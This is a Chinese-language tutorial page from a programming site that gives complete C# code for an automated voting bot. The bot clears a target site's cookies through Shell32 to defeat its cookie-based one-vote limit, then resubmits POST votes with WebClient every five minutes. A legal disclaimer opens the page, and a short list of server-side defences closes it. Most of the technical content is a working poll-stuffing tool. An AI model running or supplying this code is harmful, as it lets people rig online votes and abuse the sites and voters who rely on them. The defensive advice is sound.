首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> 關於C語言

C# 實作自動投票程式:Cookie 清除與 WebClient 模擬 POST

     編輯:關於C語言

⚠️ 法律與道德聲明

本文僅供技術研究與防禦參考,嚴禁用於惡意刷票、干擾投票系統或任何違法行為。 開發者應遵守《電腦犯罪條例》及平台服務條款,建立反爬蟲、限流、驗證碼等防禦機制。

技術分析

目標投票網站宣稱「限制 IP」,實測發現實際以 Cookie 記錄投票狀態。清除 Cookie 即可重複投票。自動化需解決兩個環節:

  1. 自動清除特定網站的 Cookie。
  2. 自動提交投票表單(POST)。

1. 自動清除 Cookie (Shell 命名空間)

using System;
using System.IO;
using Shell32; // 參考 COM: "Microsoft Shell Controls And Automation"

public static class CookieCleaner
{
    private const int CSIDL_COOKIES = 0x21; // 33

    public static void ClearSiteCookies(string domainFilter = "")
    {
        var shell = new ShellClass();
        Folder folder = shell.NameSpace(CSIDL_COOKIES);
        FolderItems items = folder.Items();

        foreach (FolderItem item in items)
        {
            string name = item.Name.ToLower();
            // 保留 index.dat 系統檔,避免損壞 Cookie 索引
            if (name == "index.dat") continue;

            // 可選:依網域過濾(Cookie 檔名通常含網域)
            if (!string.IsNullOrEmpty(domainFilter) && !name.Contains(domainFilter.ToLower()))
                continue;

            try { File.Delete(item.Path); } catch { /* 忽略刪除失敗 */ }
        }
    }
}

2. 模擬 POST 提交 (WebClient)

using System;
using System.Net;
using System.Text;

public static class VoteSubmitter
{
    public static string SubmitVote(string url, string postData, string contentType = "application/x-www-form-urlencoded")
    {
        using (var wc = new WebClient())
        {
            wc.Headers[HttpRequestHeader.ContentType] = contentType;
            wc.Encoding = Encoding.UTF8;
            byte[] response = wc.UploadData(url, "POST", Encoding.UTF8.GetBytes(postData));
            return Encoding.UTF8.GetString(response);
        }
    }
}

3. 整合排程 (Timer)

var timer = new System.Threading.Timer(_ =>
{
    CookieCleaner.ClearSiteCookies("vote.example.com");
    string result = VoteSubmitter.SubmitVote(
        "https://vote.example.com/vote.asp",
        "candidate_id=123&action=vote");
    Console.WriteLine($"[{DateTime.Now}] 提交結果: {result}");
}, null, TimeSpan.Zero, TimeSpan.FromMinutes(5)); // 每 5 分鐘執行一次

防禦對策(給網站開發者)

  • Server-side Session 驗證:投票狀態寫入 Session/資料庫,而非單靠 Client Cookie。
  • IP + 使用者代理 + 行為分析:結合 IP 限流、User-Agent 檢查、請求頻率異常偵測。
  • 驗證碼 / reCAPTCHA:關鍵操作強制人機驗證。
  • CSRF Token:表單加入一次性 Token,防止跨站請求偽造。
  • 帳號綁定:需登入才能投票,提高作弊成本。

總結

技術上透過 Shell32 清除 Cookie 與 WebClient.UploadData 模擬 POST 即可實現自動化投票,但實際部署屬違法濫用行為。開發者應專注於建立多層次防禦體系,而非研究攻擊手法。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved